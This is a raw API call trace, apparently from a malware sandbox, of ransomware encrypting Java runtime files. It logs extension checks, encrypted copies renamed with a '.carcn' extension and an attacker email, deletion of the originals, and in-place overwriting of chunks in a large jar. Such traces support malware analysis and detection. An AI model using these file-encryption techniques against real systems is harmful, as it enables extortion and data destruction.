(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0306.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.124] lstrlenW (lpString=".doc") returned 4 [0306.124] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.124] lstrlenW (lpString=".docx") returned 5 [0306.124] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.124] lstrlenW (lpString=".pdf") returned 4 [0306.124] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.124] lstrlenW (lpString=".xls") returned 4 [0306.124] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString=".xlsx") returned 5 [0306.125] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.125] lstrlenW (lpString=".ppt") returned 4 [0306.125] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString=".zip") returned 4 [0306.125] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString=".rar") returned 4 [0306.125] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString=".bz2") returned 4 [0306.125] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString=".7z") returned 3 [0306.125] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString=".dbf") returned 4 [0306.125] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString=".1cd") returned 4 [0306.125] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString=".jpg") returned 4 [0306.125] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.125] lstrlenW (lpString=".doc") returned 4 [0306.125] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.125] lstrlenW (lpString=".docx") returned 5 [0306.125] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.126] lstrlenW (lpString=".pdf") returned 4 [0306.126] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString=".xls") returned 4 [0306.126] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString=".xlsx") returned 5 [0306.126] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.126] lstrlenW (lpString=".ppt") returned 4 [0306.126] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.126] lstrlenW (lpString=".zip") returned 4 [0306.126] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString=".rar") returned 4 [0306.126] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString=".bz2") returned 4 [0306.126] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString=".7z") returned 3 [0306.126] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.126] lstrlenW (lpString=".dbf") returned 4 [0306.126] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.126] lstrlenW (lpString=".1cd") returned 4 [0306.126] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0306.126] lstrlenW (lpString=".jpg") returned 4 [0306.126] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.127] lstrcmpiW (lpString1=".cfg", lpString2=".carcn") returned 1 [0306.127] lstrlenW (lpString="jvm.cfg") returned 7 [0306.127] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.127] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=634) returned 1 [0306.127] CloseHandle (hObject=0x390) returned 1 [0306.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0306.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.127] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0306.128] GetLastError () returned 0x0 [0306.128] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x27a, lpOverlapped=0x0) returned 1 [0306.129] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x280, lpOverlapped=0x0) returned 1 [0306.130] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.130] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.130] SetEndOfFile (hFile=0x364) returned 1 [0306.131] CloseHandle (hObject=0x364) returned 1 [0306.131] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.131] SetEndOfFile (hFile=0x390) returned 1 [0306.132] CloseHandle (hObject=0x390) returned 1 [0306.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.132] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0306.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.441] lstrlenW (lpString=".doc") returned 4 [0306.442] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString=".docx") returned 5 [0306.442] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0306.442] lstrlenW (lpString=".pdf") returned 4 [0306.442] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString=".xls") returned 4 [0306.442] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString=".xlsx") returned 5 [0306.442] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0306.442] lstrlenW (lpString=".ppt") returned 4 [0306.442] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.442] lstrlenW (lpString=".zip") returned 4 [0306.442] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString=".rar") returned 4 [0306.442] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString=".bz2") returned 4 [0306.442] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0306.442] lstrlenW (lpString=".7z") returned 3 [0306.442] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0306.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.442] lstrlenW (lpString=".dbf") returned 4 [0306.442] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0306.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.442] lstrlenW (lpString=".1cd") returned 4 [0306.442] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0306.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.442] lstrlenW (lpString=".jpg") returned 4 [0306.442] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.443] lstrlenW (lpString=".doc") returned 4 [0306.443] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString=".docx") returned 5 [0306.443] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0306.443] lstrlenW (lpString=".pdf") returned 4 [0306.443] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString=".xls") returned 4 [0306.443] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString=".xlsx") returned 5 [0306.443] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0306.443] lstrlenW (lpString=".ppt") returned 4 [0306.443] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.443] lstrlenW (lpString=".zip") returned 4 [0306.443] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString=".rar") returned 4 [0306.443] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString=".bz2") returned 4 [0306.443] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0306.443] lstrlenW (lpString=".7z") returned 3 [0306.443] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0306.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.443] lstrlenW (lpString=".dbf") returned 4 [0306.443] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0306.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.443] lstrlenW (lpString=".1cd") returned 4 [0306.444] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0306.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0306.444] lstrlenW (lpString=".jpg") returned 4 [0306.444] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0306.444] lstrcmpiW (lpString1=".data", lpString2=".carcn") returned 1 [0306.444] lstrlenW (lpString="currency.data") returned 13 [0306.444] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.444] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4122) returned 1 [0306.444] CloseHandle (hObject=0x390) returned 1 [0306.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0306.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.445] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0307.429] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.430] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0307.430] GetLastError () returned 0x0 [0307.430] ReadFile (in: hFile=0x370, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x101a, lpOverlapped=0x0) returned 1 [0307.432] WriteFile (in: hFile=0x380, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x1020, lpOverlapped=0x0) returned 1 [0307.433] ReadFile (in: hFile=0x370, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.433] WriteFile (in: hFile=0x380, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xee, lpOverlapped=0x0) returned 1 [0307.433] SetEndOfFile (hFile=0x380) returned 1 [0307.433] CloseHandle (hObject=0x380) returned 1 [0307.433] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.433] SetEndOfFile (hFile=0x370) returned 1 [0307.434] CloseHandle (hObject=0x370) returned 1 [0307.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.434] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0307.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.435] lstrlenW (lpString=".doc") returned 4 [0307.435] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0307.435] lstrlenW (lpString=".docx") returned 5 [0307.436] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0307.436] lstrlenW (lpString=".pdf") returned 4 [0307.436] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0307.436] lstrlenW (lpString=".xls") returned 4 [0307.436] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0307.436] lstrlenW (lpString=".xlsx") returned 5 [0307.436] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0307.436] lstrlenW (lpString=".ppt") returned 4 [0307.436] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.436] lstrlenW (lpString=".zip") returned 4 [0307.436] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0307.436] lstrlenW (lpString=".rar") returned 4 [0307.436] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0307.436] lstrlenW (lpString=".bz2") returned 4 [0307.436] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0307.436] lstrlenW (lpString=".7z") returned 3 [0307.436] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.436] lstrlenW (lpString=".dbf") returned 4 [0307.436] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.436] lstrlenW (lpString=".1cd") returned 4 [0307.436] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.436] lstrlenW (lpString=".jpg") returned 4 [0307.436] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.437] lstrlenW (lpString=".doc") returned 4 [0307.437] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".docx") returned 5 [0307.437] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0307.437] lstrlenW (lpString=".pdf") returned 4 [0307.437] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".xls") returned 4 [0307.437] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".xlsx") returned 5 [0307.437] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0307.437] lstrlenW (lpString=".ppt") returned 4 [0307.437] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0307.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.437] lstrlenW (lpString=".zip") returned 4 [0307.437] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".rar") returned 4 [0307.437] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".bz2") returned 4 [0307.437] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0307.437] lstrlenW (lpString=".7z") returned 3 [0307.437] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0307.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.437] lstrlenW (lpString=".dbf") returned 4 [0307.437] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0307.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.437] lstrlenW (lpString=".1cd") returned 4 [0307.437] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0307.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0307.437] lstrlenW (lpString=".jpg") returned 4 [0307.437] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0307.438] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0307.438] lstrlenW (lpString="deploy.jar") returned 10 [0307.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0307.438] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5040094) returned 1 [0307.438] CloseHandle (hObject=0x370) returned 1 [0307.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0307.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0307.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0307.440] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0x0) returned 1 [0307.440] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.440] ReadFile (in: hFile=0x370, lpBuffer=0x4179058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x4179058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.502] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.502] ReadFile (in: hFile=0x370, lpBuffer=0x41b9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41b9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0307.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.798] ReadFile (in: hFile=0x370, lpBuffer=0x41f9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41f9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.874] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.874] WriteFile (in: hFile=0x370, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x377fca8, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fca8*=0xc0100, lpOverlapped=0x0) returned 1 [0309.547] SetEndOfFile (hFile=0x370) returned 1 [0309.547] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4504008 [0309.552] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.552] WriteFile (in: hFile=0x370, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.554] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.554] WriteFile (in: hFile=0x370, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.557] WriteFile (in: hFile=0x370, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.559] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0309.561] CloseHandle (hObject=0x370) returned 1 [0309.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 